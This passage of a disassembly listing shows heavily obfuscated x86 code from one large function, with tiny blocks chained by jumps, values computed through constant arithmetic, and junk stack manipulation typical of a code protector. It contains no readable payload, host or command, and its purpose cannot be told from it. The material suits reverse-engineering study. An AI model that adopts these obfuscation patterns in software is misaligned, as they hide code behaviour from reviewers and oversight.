		mov	ebx, esp
		push	5EDBh
		mov	[esp+7Eh+var_7E], ecx
		jmp	loc_5B000F
; ---------------------------------------------------------------------------


loc_5ABC8D:				; CODE XREF: sub_58A891+19887j
		add	ecx, edi
		push	ebx
		mov	ebx, 0
		jmp	loc_5A3F16
; ---------------------------------------------------------------------------


loc_5ABC9A:				; CODE XREF: sub_58A891+1EB83j
		not	esi
		xor	esi, 3B180542h
		jnz	loc_5AB989
		jmp	loc_59E108
; ---------------------------------------------------------------------------
		add	edx, ebp
		jmp	loc_59DF2A
; ---------------------------------------------------------------------------
		mov	bh, cl


loc_5ABCB6:				; CODE XREF: sub_58A891+1B7FCj
		sub	ebx, 0B892005h
		push	67F2h
		mov	[esp-16h+arg_E], edi
		jmp	loc_5AA1AA
; ---------------------------------------------------------------------------


loc_5ABCC9:				; CODE XREF: sub_58A891+1FA37j
		or	cl, 5Ah
		dec	cl
		sub	cl, 1Fh
		or	cl, 82h
		jmp	loc_59E304
; ---------------------------------------------------------------------------


loc_5ABCD9:				; CODE XREF: sub_58A891+20AD9j
		xor	edi, ebp
		push	[esp+26h+var_28+2]
		pop	ebp
		add	esp, 4
		sub	eax, edi
		push	[esp+22h+var_24+2]
		jmp	loc_5AA92D
; ---------------------------------------------------------------------------


loc_5ABCEF:				; CODE XREF: sub_58A891+28121j
		push	edx
		mov	dl, 1
		jmp	loc_5AB4CA
; ---------------------------------------------------------------------------


loc_5ABCF7:				; CODE XREF: sub_58A891+23633j
		mov	esi, 312E0845h
		shr	esi, 3
		sub	esi, 0FFFFFFFFh
		xchg	edi, esi
		not	edi
		xchg	edi, esi
		xor	esi, 0F9DA3EF2h
		add	eax, esi
		mov	esi, [esp+2Ah+var_2C+2]
		add	esp, 4
		sub	esp, 4
		mov	[esp+2Ah+var_2C+2], edi
		sub	esp, 4
		mov	[esp+2Eh+var_30+2], esi
		push	ebp
		push	0C632E4Ch
		pop	ebp
		sub	ebp, 398F494Eh
		ja	loc_59EC8B
		add	ebp, 3B50529Eh
		sub	ebp, 0F4AC2C05h
		push	edx
		mov	edx, ebp
		jmp	loc_5A1D06
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		push	3F0Fh
		mov	[esp+3Ah+var_3C+2], esi
		mov	esi, 5E410869h
		push	ebp
		push	7FA8h
		mov	[esp], edx
		mov	edx, 556B321Ah
		push	edx
		not	[esp+46h+var_46]
		pop	edx
		jmp	loc_5A31D3
; ---------------------------------------------------------------------------


loc_5ABD74:				; CODE XREF: sub_58A891+1779Ej
		add	al, 0F2h
		push	edx
		mov	dh, al
		mov	bl, dh
		pop	edx
		jmp	loc_5A1673
; ---------------------------------------------------------------------------


loc_5ABD81:				; CODE XREF: sub_58A891+1A9B4j
		push	eax
		mov	eax, 383854D6h
		mov	edx, 5E3092BAh
		jmp	loc_59E5C0
; ---------------------------------------------------------------------------


loc_5ABD91:				; CODE XREF: sub_58A891+22E3Ej
		pop	esi
		sub	esp, 4
		mov	[esp+86h+var_86], eax
		mov	eax, 4
		add	esi, eax
		pop	eax
		add	esi, 4
		xchg	esi, [esp+82h+var_82]
		pop	esp
		jmp	loc_5A56B4
; ---------------------------------------------------------------------------


loc_5ABDAF:				; CODE XREF: sub_58A891+17E1Fj
		sub	ebx, esi
		jmp	loc_5AB6ED
; ---------------------------------------------------------------------------


loc_5ABDB6:				; CODE XREF: sub_58A891+278BDj
		push	ebx
		mov	ebx, 0FDC983F4h
		add	edx, ebx
		pop	ebx
		jmp	loc_5A1AFC
; ---------------------------------------------------------------------------


loc_5ABDC4:				; CODE XREF: sub_58A891+22D3Bj
		pop	eax
		mov	ecx, ebx
		pop	ebx
		push	990h
		jmp	loc_5B2CD6
; ---------------------------------------------------------------------------


loc_5ABDD2:				; CODE XREF: sub_58A891+1A0AEj
					; sub_58A891+1B6D0j
		push	308Bh
		mov	[esp+2Ah+var_2C+2], esp
		jmp	loc_5B11F3
; ---------------------------------------------------------------------------


loc_5ABDDF:				; CODE XREF: sub_58A891+164E3j
		sub	[esp+84h+var_86+2], 6F8D1A12h
		jmp	loc_59EC05
; ---------------------------------------------------------------------------


loc_5ABDEB:				; CODE XREF: sub_58A891+189C0j
		add	esp, 4
		not	edi
		shr	edi, 7
		xor	edi, 312350BDh
		jle	loc_59F93B
		neg	edi
		jnz	loc_5A38FA
		add	edi, 3082DF88h
		mov	ebp, edi
		pop	edi
		or	al, 17h


loc_5ABE15:				; CODE XREF: sub_58A891+14E47j
		mov	eax, edi
		mov	edi, [esp+4Ch+var_4E+2]
		add	esp, 4
		sub	eax, 3DC30A0Ah
		mov	ebx, eax
		pop	eax
		sub	[edi+24h], ebx
		push	[esp+44h+var_46+2]
		pop	ebx
		add	esp, 4


loc_5ABE32:				; CODE XREF: sub_58A891+154F6j
		push	2819h
		mov	[esp+44h+var_46+2], ecx
		sub	esp, 4
		mov	[esp+48h+var_4A+2], ebx
		push	edi
		mov	edi, 425944DFh
		sub	[esp+4Ch+var_4A+2], edi
		pop	edi
		mov	ecx, [esp+48h+var_4A+2]
		add	esp, 4
		push	64Ah
		mov	[esp+48h+var_4A+2], esi
		mov	esi, 425944DFh
		add	ecx, 28D20995h
		add	ecx, esi
		push	edx
		mov	edx, 28D20995h
		sub	ecx, edx
		jmp	loc_5ACCF1
; ---------------------------------------------------------------------------


loc_5ABE76:				; CODE XREF: sub_58A891+1DC98j
		add	esp, 4
		jmp	loc_59DD34
; ---------------------------------------------------------------------------


loc_5ABE81:				; CODE XREF: sub_58A891+2364Fj
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+7Eh+var_7E]
		pop	esp
		pop	[esp+7Ah+var_7A]
		pop	esp
		mul	cx
		push	small 1E60h
		mov	word ptr [esp+74h+var_74], dx
		push	ax
		pushf
		jmp	loc_5B2E78
; ---------------------------------------------------------------------------


loc_5ABEA8:				; CODE XREF: sub_58A891+20EB4j
		mov	eax, esp
		jmp	loc_5A9B38
; ---------------------------------------------------------------------------


loc_5ABEAF:				; CODE XREF: sub_58A891+1F7A0j
		mov	ebx, esi
		jmp	loc_59DA53
; ---------------------------------------------------------------------------


loc_5ABEB6:				; CODE XREF: sub_58A891+1EDA0j
		xor	esi, [esp+16h+var_18+2]
		xor	[esp+16h+var_18+2], esi
		jmp	loc_59F841
; ---------------------------------------------------------------------------


loc_5ABEC1:				; CODE XREF: sub_58A891+1C864j
		not	ah
		xchg	ah, bh
		xor	bh, 0C8h
		jmp	loc_5ABBFC
; ---------------------------------------------------------------------------


loc_5ABECD:				; CODE XREF: sub_58A891+1FBFDj
		add	edx, 3F9E6237h
		jmp	loc_59EB53
; ---------------------------------------------------------------------------
		lodsb
		push	ebx
		jmp	loc_59C797
; ---------------------------------------------------------------------------


loc_5ABEDF:				; CODE XREF: sub_58A891+14412j
					; sub_58A891+1F950j
		mov	edx, 2
		add	ebp, edx
		pop	edx
		push	ebp
		push	[esp+76h+var_74+2]
		jmp	loc_5AE84A
; ---------------------------------------------------------------------------


loc_5ABEF1:				; CODE XREF: sub_58A891+16AA4j
		sub	esp, 4
		mov	[esp+94h+var_96+2], edx
		push	eax
		mov	al, 83h
		sub	al, 4Dh
		jmp	loc_5A033B
; ---------------------------------------------------------------------------


loc_5ABF04:				; CODE XREF: sub_58A891+1C9BEj
		add	ebp, 4A8F3116h
		push	ebp
		not	[esp+74h+var_74]
		mov	ebp, [esp+74h+var_74]
		jmp	loc_5AAD0A
; ---------------------------------------------------------------------------


loc_5ABF16:				; CODE XREF: sub_58A891+18FF1j
		add	edi, ecx
		pop	ecx
		add	edi, edx
		sub	edi, 23BF5520h
		mov	edx, [esp+0AEh+var_AE]
		add	esp, 4
		add	edi, ecx
		push	ebx
		jmp	loc_59D84A
; ---------------------------------------------------------------------------


loc_5ABF32:				; CODE XREF: sub_58A891+16211j
		xor	bh, 0ACh
		jmp	loc_5AD57E
; ---------------------------------------------------------------------------


loc_5ABF3A:				; CODE XREF: sub_58A891+15E9Fj
		pop	esp
		jmp	loc_5AC32B
; ---------------------------------------------------------------------------


loc_5ABF40:				; CODE XREF: sub_58A891+1A124j
		mov	[esp+9Ah+var_9A], esp
		add	[esp+9Ah+var_9A], 4
		mov	esi, [esp+9Ah+var_9A]
		add	esp, 4
		add	esi, 4
		sub	esi, 4
		xor	esi, [esp+96h+var_96]
		xor	[esp+96h+var_96], esi
		xor	esi, [esp+96h+var_96]
		pop	esp
		mov	[esp+92h+var_92], esp
		push	esi
		mov	esi, 4
		add	[esp+96h+var_92], esi
		pop	esi
		push	[esp+92h+var_92]
		pop	edi
		add	esp, 4
		push	edx
		mov	edx, 4
		add	edi, edx
		pop	edx
		jmp	loc_5AD99B
; ---------------------------------------------------------------------------


loc_5ABF8C:				; CODE XREF: sub_58A891+18CBDj
		mov	eax, ebx
		mov	ebx, [esp+26h+var_28+2]
		add	esp, 4
		sub	edx, 30713F2Dh
		add	edx, eax
		add	edx, 30713F2Dh
		pop	eax
		sub	edx, 2
		push	33F9h
		jmp	loc_5A06FA
; ---------------------------------------------------------------------------


loc_5ABFB0:				; CODE XREF: sub_58A891+1B3B1j
		shl	eax, 3
		not	eax
		xor	eax, 0E48C9EDBh
		add	edx, 4ABC285Ch
		add	edx, eax
		sub	edx, 4ABC285Ch
		pop	eax
		xchg	edx, [esp+0]
		pop	esp
		push	dword ptr [edi+1Ch]
		push	esi
		mov	esi, 17F52ECEh
		sub	[esp+4], esi
		pop	esi
		pop	ecx
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		jmp	loc_5ADBF7
; ---------------------------------------------------------------------------


loc_5ABFED:				; CODE XREF: sub_58A891+135FFj
					; sub_58A891+222F9j
		jmp	loc_5AE030
; ---------------------------------------------------------------------------


loc_5ABFF2:				; CODE XREF: sub_58A891:loc_5AB3AFj
		sub	ch, 96h
		neg	ch
		add	ch, 0BDh
		jmp	loc_5AAF42
; ---------------------------------------------------------------------------


loc_5ABFFF:				; CODE XREF: sub_58A891:loc_59C1CEj
		push	edi
		mov	edi, 65D1172Fh
		jmp	loc_5A172B
; ---------------------------------------------------------------------------


loc_5AC00A:				; CODE XREF: sub_58A891+17C2Ej
		pop	edx
		dec	edi
		inc	edi
		shl	edi, 1
		jmp	loc_5A1446
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_5A2C86
; ---------------------------------------------------------------------------


loc_5AC01A:				; CODE XREF: sub_58A891+226F2j
		mov	ah, 45h
		jmp	loc_5A3534
; ---------------------------------------------------------------------------


loc_5AC021:				; CODE XREF: sub_58A891+1D0F2j
		sub	esp, 4
		jmp	loc_5A75DB
; ---------------------------------------------------------------------------


loc_5AC02C:				; CODE XREF: sub_58A891+280CAj
		mov	edx, 4
		jmp	loc_5AAF9E
; ---------------------------------------------------------------------------


loc_5AC036:				; CODE XREF: sub_58A891+20E79j
		push	ebx
		mov	bl, 0B1h
		jmp	loc_5A69B1
; ---------------------------------------------------------------------------


loc_5AC03E:				; CODE XREF: sub_58A891+23FF7j
					; sub_58A891+27BA0j
		and	ebp, 55A63AC5h
		jo	loc_5A708A
		dec	ebp
		jmp	loc_59E700
; ---------------------------------------------------------------------------


loc_5AC050:				; CODE XREF: sub_58A891+13770j
					; sub_58A891+1C46Bj
		pop	esp
		mov	[esp+94h+var_96+2], esi
		push	1D594107h
		pop	esi
		dec	esi
		jnp	loc_5A0C71
		shr	esi, 5
		push	edi
		mov	edi, 0EA8A08h
		xor	esi, edi
		pop	edi
		mov	ebx, esi
		mov	esi, [esp+94h+var_96+2]
		sub	esp, 4
		jmp	loc_5B0F8F
; ---------------------------------------------------------------------------
		movzx	ax, byte ptr fs:[edx]
		push	small 21BFh
		mov	word ptr [esp+9Ah+var_9A], ax
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5AC08C:				; CODE XREF: sub_58A891+26071j
		mov	[esp+9Ah+var_9A], ebx
		mov	ebx, esp
		push	ecx
		push	edi
		jmp	loc_5B18E7
; ---------------------------------------------------------------------------


loc_5AC098:				; CODE XREF: sub_58A891+13239j
		xor	esi, 60AC495Bh
		jmp	loc_5A0987
; ---------------------------------------------------------------------------


loc_5AC0A3:				; CODE XREF: sub_58A891+23C8Bj
		shl	eax, 3
		jmp	loc_5B2B65
; ---------------------------------------------------------------------------


loc_5AC0AB:				; CODE XREF: sub_58A891+1444Bj
		mov	edi, 7B567CDCh
		sub	ecx, edi
		pop	edi
		add	ebp, ecx
		pop	ecx
		xchg	ebp, [esp+7Eh+var_7E]
		jmp	loc_5AFABE
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+7Eh+var_7E]
		push	ebp
		push	ecx
		push	esp
		pop	ecx
		push	ebx
		mov	ebx, 4
		add	ecx, ebx
		pop	ebx
		sub	ecx, 4
		jmp	loc_59E78C
; ---------------------------------------------------------------------------


loc_5AC0DA:				; CODE XREF: sub_58A891+16D21j
		add	edi, eax
		add	edi, 1F047335h
		jmp	loc_5AAB7D
; ---------------------------------------------------------------------------


loc_5AC0E7:				; CODE XREF: sub_58A891+2046Fj
		add	ebx, 4
		xchg	ebx, [esp-1Eh+arg_18+2]
		pop	esp
		shr	ecx, 7
		push	dword ptr [edi+1Ch]
		push	edi
		mov	edi, 59344626h
		xor	[esp-1Ah+arg_18+2], edi
		jmp	loc_5ABBA3
; ---------------------------------------------------------------------------


loc_5AC106:				; CODE XREF: sub_58A891+2787Fj
		push	dword ptr [esp+0]
		pop	edx
		add	esp, 4
		jmp	loc_59CD81
; ---------------------------------------------------------------------------


loc_5AC112:				; CODE XREF: sub_58A891+196DAj
		add	edx, 7A620B18h
		add	eax, 1C080101h
		sub	eax, edx
		push	ebx
		mov	ebx, 1C080101h
		sub	eax, ebx
		pop	ebx
		jmp	loc_59D24D
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_5ACDF7
; ---------------------------------------------------------------------------


loc_5AC133:				; CODE XREF: sub_58A891+15EDFj
					; sub_58A891+1B813j
		mov	eax, edi
		pop	edi
		jmp	loc_59C1D3
; ---------------------------------------------------------------------------


loc_5AC13B:				; CODE XREF: sub_58A891+14232j
					; sub_58A891+263ADj
		sub	al, 96h
		sub	al, cl
		push	65A3h
		mov	[esp+0], ecx
		mov	ch, 0DBh
		shl	ch, 8
		dec	ch
		xchg	dh, ch
		dec	dh
		xchg	dh, ch
		or	ch, 98h
		xor	ch, 68h
		add	al, 0D8h
		add	al, 6Bh
		add	al, ch
		sub	al, 6Bh
		push	ebx
		mov	bl, 2Fh
		dec	bl
		jmp	loc_5A07B9
; ---------------------------------------------------------------------------


loc_5AC16C:				; CODE XREF: sub_58A891+19267j
					; sub_58A891+23E54j
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5AC171:				; CODE XREF: sub_58A891+1CB5Ej
		push	ecx
		mov	ecx, 4D361174h
		sub	ecx, 71A9662Fh
		not	ecx
		add	ecx, 5FBFD1CFh
		sub	edx, ecx
		pop	ecx
		add	eax, edx
		mov	edx, [esp+7Ch+var_7E+2]
		add	esp, 4
		jmp	loc_5A6726
; ---------------------------------------------------------------------------


loc_5AC198:				; CODE XREF: sub_58A891+1D01Cj
		xor	ebx, 4FF22264h
		shl	ebx, 7
		xor	ebx, 0A800BBF8h
		xor	esi, ebx
		pop	ebx
		and	edx, esi
		jmp	loc_5AE308
; ---------------------------------------------------------------------------


loc_5AC1B1:				; CODE XREF: sub_58A891+1B581j
		xor	[esp+8Ah+var_8A], ebx
		xor	ebx, [esp+8Ah+var_8A]
		pop	esp
		jmp	loc_5A1E16
; ---------------------------------------------------------------------------


loc_5AC1BD:				; CODE XREF: sub_58A891+1B054j
		shl	al, 5
		sub	al, 0A4h
		xor	ch, al
		pop	eax
		jmp	loc_5A34F7
; ---------------------------------------------------------------------------


loc_5AC1CA:				; CODE XREF: sub_58A891+13B16j
		mov	[esp+1Eh+var_20+2], ebx
		mov	ebx, 4
		sub	edi, ebx
		pop	ebx
		xchg	edi, [esp+1Ah+var_1C+2]
		jmp	loc_5A18AF
; ---------------------------------------------------------------------------


loc_5AC1DD:				; CODE XREF: sub_58A891+11BF0j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+0]
		pop	esp
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp+0]
		pop	esp
		and	ecx, edi
		push	[esp-0Ah+arg_0+2]
		push	dword ptr [esp+0]
		jmp	loc_59DE2C
; ---------------------------------------------------------------------------


loc_5AC204:				; CODE XREF: sub_58A891+1ACCBj
		mov	ah, 0F4h
		jmp	loc_5A7CE3
; ---------------------------------------------------------------------------


loc_5AC20B:				; CODE XREF: sub_58A891+1A543j
		add	ecx, 932D31CAh
		xor	ecx, 1D5D047Ah
		jmp	loc_5A892D
; ---------------------------------------------------------------------------


loc_5AC21C:				; CODE XREF: sub_58A891+14069j
		push	cx
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5AC224:				; CODE XREF: sub_58A891+1B551j
		xor	ebx, [esp+7Ah+var_7A]
		mov	esp, [esp+7Ah+var_7A]
		mov	[esp+7Ah+var_7A], esi
		push	esp
		pop	esi
		add	esi, 4
		push	ebp
		mov	ebp, 2
		add	esi, ebp
		pop	ebp
		sub	esp, 4
		jmp	loc_5B0180
; ---------------------------------------------------------------------------


loc_5AC246:				; CODE XREF: sub_58A891+1FDD3j
		add	bl, 0DBh
		pop	ecx
		jmp	loc_59E1F4
; ---------------------------------------------------------------------------


loc_5AC24F:				; CODE XREF: sub_58A891+19149j
					; sub_58A891+1AC05j
		xor	ecx, 0EA065628h
		jmp	loc_5A663B
; ---------------------------------------------------------------------------


loc_5AC25A:				; CODE XREF: sub_58A891+1D203j
		jbe	loc_5AF00E
		shl	ebx, 1
		js	loc_5ADFB0
		jmp	loc_5A01DA
; ---------------------------------------------------------------------------
		mov	ebx, 308012B1h
		pop	esp


loc_5AC273:				; CODE XREF: sub_58A891+15F92j
					; sub_58A891+1B6D7j
		push	small 7F1Ah
		mov	word ptr [esp+52h+var_54+2], cx
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5AC280:				; CODE XREF: sub_58A891+1AB31j
		push	edx
		mov	edx, 0C564622h
		push	ecx
		mov	ecx, 796E4D58h
		add	edx, ecx
		pop	ecx
		push	420Ch
		mov	[esp+8Ch+var_8E+2], ecx
		push	358A6E84h
		mov	ecx, [esp+90h+var_92+2]
		add	esp, 4
		or	edx, ecx
		push	[esp+8Ch+var_8E+2]
		pop	ecx
		add	esp, 4
		add	edx, 4A310006h
		jmp	loc_59EE7A
; ---------------------------------------------------------------------------


loc_5AC2B6:				; CODE XREF: sub_58A891+246ABj
		add	al, bl
		jmp	loc_5A449E
; ---------------------------------------------------------------------------


loc_5AC2BD:				; CODE XREF: sub_58A891+159F4j
		shl	dh, 1
		xor	dh, 15h
		mov	ch, dh
		pop	edx
		xor	dh, ch
		mov	ecx, [esp+7Ah+var_7A]
		jmp	loc_59F05E
; ---------------------------------------------------------------------------


loc_5AC2CF:				; CODE XREF: sub_58A891+141C5j
		and	ecx, 5D2540C9h
		jmp	loc_5A6129
; ---------------------------------------------------------------------------


loc_5AC2DA:				; CODE XREF: sub_58A891+26132j
		sub	ecx, 0C926C5Eh
		pop	ebp
		sub	esp, 4
		mov	[esp+84h+var_86+2], ecx
		jmp	loc_5ABA98
; ---------------------------------------------------------------------------


loc_5AC2EC:				; CODE XREF: sub_58A891+19DF8j
		add	esp, 4
		sub	esp, 4
		mov	[esp+0B2h+var_B2], ebx
		jmp	loc_5A703C
; ---------------------------------------------------------------------------


loc_5AC300:				; CODE XREF: sub_58A891:loc_5A4FC2j
		push	esi
		mov	esi, 98C2CC58h
		xor	ecx, esi
		pop	esi
		sub	ecx, 537839EEh
		add	edi, ecx
		pop	ecx
		neg	edi
		xor	edi, 1ADF7A91h
		sub	esi, 681F4700h
		jmp	loc_5A1433
; ---------------------------------------------------------------------------


loc_5AC325:				; CODE XREF: sub_58A891+24FB4j
		pop	ecx
		jmp	loc_5A65C1
; ---------------------------------------------------------------------------


loc_5AC32B:				; CODE XREF: sub_58A891+216AAj
		push	[esp+82h+var_82]
		pop	edx
		add	esp, 4
		neg	ecx
		push	edi
		mov	edi, 43EB5319h
		xor	edi, 50B71670h
		or	ecx, edi
		mov	edi, [esp+82h+var_82]
		add	esp, 4
		add	ecx, 0C8017C86h
		and	[edi+1Ch], ecx
		mov	ecx, [esp+7Eh+var_7E]
		jmp	loc_5A4C16
; ---------------------------------------------------------------------------


loc_5AC359:				; CODE XREF: sub_58A891+19221j
		push	23D0h
		jmp	loc_5A7C41
; ---------------------------------------------------------------------------


loc_5AC363:				; CODE XREF: sub_58A891+17637j
		add	al, cl
		sub	al, 50h
		jmp	loc_5AD749
; ---------------------------------------------------------------------------


loc_5AC36C:				; CODE XREF: sub_58A891+15363j
		add	ebx, 75C00E14h
		push	dword ptr [ebx]
		pop	ecx
		push	[esp+6+var_8+2]
		pop	ebx
		add	esp, 4
		push	ebx
		jmp	loc_5A5C58
; ---------------------------------------------------------------------------


loc_5AC385:				; CODE XREF: sub_58A891+27E5Fj
		pop	ecx
		xor	edx, edx
		push	42A6h
		mov	[esp+6+var_8+2], ebx
		mov	ebx, esp
		push	eax
		mov	eax, 4
		jmp	loc_5A5983
; ---------------------------------------------------------------------------


loc_5AC39D:				; CODE XREF: sub_58A891+1BF11j
		push	3E93h
		mov	[esp+6Ch+var_6C], ebx
		mov	ebx, esp
		push	4685h
		mov	[esp+70h+var_70], edi
		push	esi
		jmp	loc_59F9F4
; ---------------------------------------------------------------------------


loc_5AC3B5:				; CODE XREF: sub_58A891+1F9F3j
		push	esi
		mov	esi, 3B7B2957h
		push	eax
		mov	eax, 3C591B1Fh
		shl	eax, 4
		jmp	loc_5A3D06
; ---------------------------------------------------------------------------


loc_5AC3C9:				; CODE XREF: sub_58A891+13EFEj
		pop	esp
		push	esp
		pop	[esp+84h+var_86+2]
		add	[esp+80h+var_82+2], 4
		mov	ebp, [esp+80h+var_82+2]
		add	esp, 4
		jmp	loc_5A55B7
; ---------------------------------------------------------------------------


loc_5AC3E3:				; CODE XREF: sub_58A891+19BEFj
		sub	ebx, 2420123Eh
		jmp	loc_5B27B4
; ---------------------------------------------------------------------------


loc_5AC3EE:				; CODE XREF: sub_58A891+1809Aj
		add	[esp+3Ah+var_3C+2], 4
		jmp	loc_5A4E4A
; ---------------------------------------------------------------------------


loc_5AC3FA:				; CODE XREF: sub_58A891+1FC24j
		pop	esi
		push	edi
		push	[esp+7Ch+var_7A+2]
		pop	edi
		pop	[esp+7Ch+var_7E+2]
		mov	esp, [esp+78h+var_7A+2]
		push	345Ah
		mov	[esp+7Ch+var_7E+2], ebx
		jmp	loc_5A5D8F
; ---------------------------------------------------------------------------


loc_5AC414:				; CODE XREF: sub_58A891+2628Ej
		push	esp
		jmp	loc_5A41BE
; ---------------------------------------------------------------------------


loc_5AC41A:				; CODE XREF: sub_58A891+1B6F6j
		push	esp
		pop	eax
		push	4DA8h
		mov	[esp+9Eh+var_9E], edx
		push	4E171504h
		pop	edx
		sub	edx, 1
		push	edx
		jmp	loc_5A8DD1
; ---------------------------------------------------------------------------


loc_5AC433:				; CODE XREF: sub_58A891+1F177j
		mov	ecx, 57477D7Eh
		sub	edx, ecx
		pop	ecx
		mov	ebx, [esp+86h+var_86]
		push	ebp
		jmp	loc_5AE283
; ---------------------------------------------------------------------------


loc_5AC444:				; CODE XREF: sub_58A891+17409j
		add	ebx, ebp
		pop	ebp
		push	eax
		jmp	loc_5AAE95
; ---------------------------------------------------------------------------


loc_5AC44D:				; CODE XREF: sub_58A891+1B443j
		pop	eax
		jmp	loc_5AB415
; ---------------------------------------------------------------------------


loc_5AC453:				; CODE XREF: sub_58A891+13019j
		add	ebp, 4
		jmp	loc_5A77E6
; ---------------------------------------------------------------------------


loc_5AC45E:				; CODE XREF: sub_58A891+1865Cj
		or	esi, edi
		mov	edi, [esp+6Eh+var_70+2]
		add	esp, 4
		or	esi, 3CD71D89h
		sub	esi, 0E8723D9Eh
		add	edx, esi
		mov	esi, [esp+6Ah+var_6C+2]
		jmp	loc_5A6FF9
; ---------------------------------------------------------------------------


loc_5AC47C:				; CODE XREF: sub_58A891+170D9j
		add	esi, eax
		add	esi, 0C440C75h
		jmp	loc_5A8FC0
; ---------------------------------------------------------------------------


loc_5AC489:				; CODE XREF: sub_58A891+16874j
		inc	ebx
		add	ebx, 834CDDF2h
		jmp	loc_5AE1D8
; ---------------------------------------------------------------------------


loc_5AC495:				; CODE XREF: sub_58A891+24E89j
		push	[esp-0Eh+arg_4+2]
		pop	ebx
		push	ecx
		jmp	loc_5A20A5
; ---------------------------------------------------------------------------


loc_5AC49F:				; CODE XREF: sub_58A891+16285j
		shr	eax, 3
		push	edx
		jmp	loc_5AA043
; ---------------------------------------------------------------------------


loc_5AC4A8:				; CODE XREF: sub_58A891+16488j
					; sub_58A891+2439Dj
		sub	dl, 8Dh
		jl	loc_5ABB1D
		jmp	loc_5B163D
; ---------------------------------------------------------------------------


loc_5AC4B6:				; CODE XREF: sub_58A891+131BDj
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5AC4BB:				; CODE XREF: sub_58A891+1443Ej
		mov	esi, 7834132Bh
		add	esi, 98A5494Fh
		sub	ebx, esi
		pop	esi
		add	ebx, eax
		push	ebp
		push	eax
		jmp	loc_5A3FAE
; ---------------------------------------------------------------------------


loc_5AC4D2:				; CODE XREF: sub_58A891+16C8Fj
		add	ecx, 79106E59h
		jmp	loc_5A2E96
; ---------------------------------------------------------------------------


loc_5AC4DD:				; CODE XREF: sub_58A891+1D8E4j
		pop	esp
		push	edx
		push	ebp
		mov	ebp, 3C455CBCh
		sub	ebp, 48106473h
		dec	ebp
		xor	ebp, 0F434F84Ch
		push	edi
		mov	edi, ebp
		mov	edx, edi
		pop	edi
		jmp	loc_59DE52
; ---------------------------------------------------------------------------


loc_5AC4FD:				; CODE XREF: sub_58A891+192C4j
					; sub_58A891+1C7D2j
		mov	ecx, 60600166h
		add	ebx, ecx
		jmp	loc_59FBB0
; ---------------------------------------------------------------------------


loc_5AC509:				; CODE XREF: sub_58A891+12A21j
		push	eax
		sub	esp, 4
		mov	[esp-0Ah+arg_0+2], edi
		mov	edi, 476A3263h
		shl	edi, 3
		jmp	loc_5AEB08
; ---------------------------------------------------------------------------


loc_5AC51D:				; CODE XREF: sub_58A891+1BA91j
		shr	esi, 2
		sub	esi, 0A1CA1E8h
		mov	edi, esi
		pop	esi
		jmp	loc_5ADEF6
; ---------------------------------------------------------------------------


loc_5AC52E:				; CODE XREF: sub_58A891+14137j
		pop	ecx
		shr	eax, 8
		jz	loc_5A9A54
		push	esi
		jmp	loc_5A1228
; ---------------------------------------------------------------------------


loc_5AC53E:				; CODE XREF: sub_58A891+22FFAj
		pop	edx
		mov	cl, ah
		pop	ax
		jmp	loc_5A4C56
; ---------------------------------------------------------------------------


loc_5AC548:				; CODE XREF: sub_58A891+1A380j
		mov	ecx, ebp
		pop	ebp
		add	ecx, 0E8DDD44Eh
		add	ebp, ecx
		mov	ecx, [esp-0Eh+arg_4+2]
		add	esp, 4
		jmp	loc_5A3E60
; ---------------------------------------------------------------------------


loc_5AC55E:				; CODE XREF: sub_58A891+1C9E5j
		add	ecx, edx
		pop	edx
		mov	ebx, ecx
		jmp	loc_5A27A8
; ---------------------------------------------------------------------------


loc_5AC568:				; CODE XREF: sub_58A891+14D2Bj
					; sub_58A891+1F9E8j
		shl	eax, 5
		push	edi
		push	eax
		mov	eax, 60D25B12h
		jmp	loc_59C70C
; ---------------------------------------------------------------------------


loc_5AC577:				; CODE XREF: sub_58A891+197C3j
		jmp	loc_5A6F52
; ---------------------------------------------------------------------------


loc_5AC57C:				; CODE XREF: sub_58A891+1216Aj
		mov	ebp, esp
		sub	esp, 4
		mov	[esp+8Ah+var_8A], edx
		push	ecx
		mov	ecx, 3FB57B2Eh
		mov	edx, ecx
		pop	ecx
		jmp	loc_59DAA6
; ---------------------------------------------------------------------------


loc_5AC592:				; CODE XREF: sub_58A891+24618j
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+8Eh+var_8E]
		jmp	loc_5B21F5
; ---------------------------------------------------------------------------


loc_5AC5A7:				; CODE XREF: sub_58A891+1DB0Dj
		pop	ebx
		push	eax
		jmp	loc_5A9956
; ---------------------------------------------------------------------------


loc_5AC5AE:				; CODE XREF: sub_58A891+12B52j
		mov	esp, [esp-0Ah+arg_0+2]
		push	edi
		jmp	loc_59CCFB
; ---------------------------------------------------------------------------


loc_5AC5B7:				; CODE XREF: sub_58A891+24EC5j
		pop	edx
		sub	ecx, 67FB8B75h
		sub	esi, 7F850540h
		add	esi, ecx
		add	esi, 7F850540h
		pop	ecx
		push	[esp-0Eh+arg_4+2]
		pop	edx
		push	ecx
		jmp	loc_5A50EC
; ---------------------------------------------------------------------------


loc_5AC5D7:				; CODE XREF: sub_58A891+1E627j
		xor	edi, [esp+2Ah+var_2C+2]
		jmp	loc_5A5EBD
; ---------------------------------------------------------------------------


loc_5AC5DF:				; CODE XREF: sub_58A891+25597j
		add	eax, 4
		jmp	loc_5AAC5A
; ---------------------------------------------------------------------------


loc_5AC5E7:				; CODE XREF: sub_58A891+284F6j
		jmp	loc_59FD1B
; ---------------------------------------------------------------------------


loc_5AC5EC:				; CODE XREF: sub_58A891+236DBj
		and	eax, ebp
		push	[esp+2Ah+var_2C+2]
		push	[esp+2Eh+var_30+2]
		jmp	loc_59C25D
; ---------------------------------------------------------------------------


loc_5AC5F9:				; CODE XREF: sub_58A891+1D9E3j
		add	eax, 2E95102h
		mov	esi, [esp+52h+var_54+2]
		add	esp, 4
		add	eax, 4
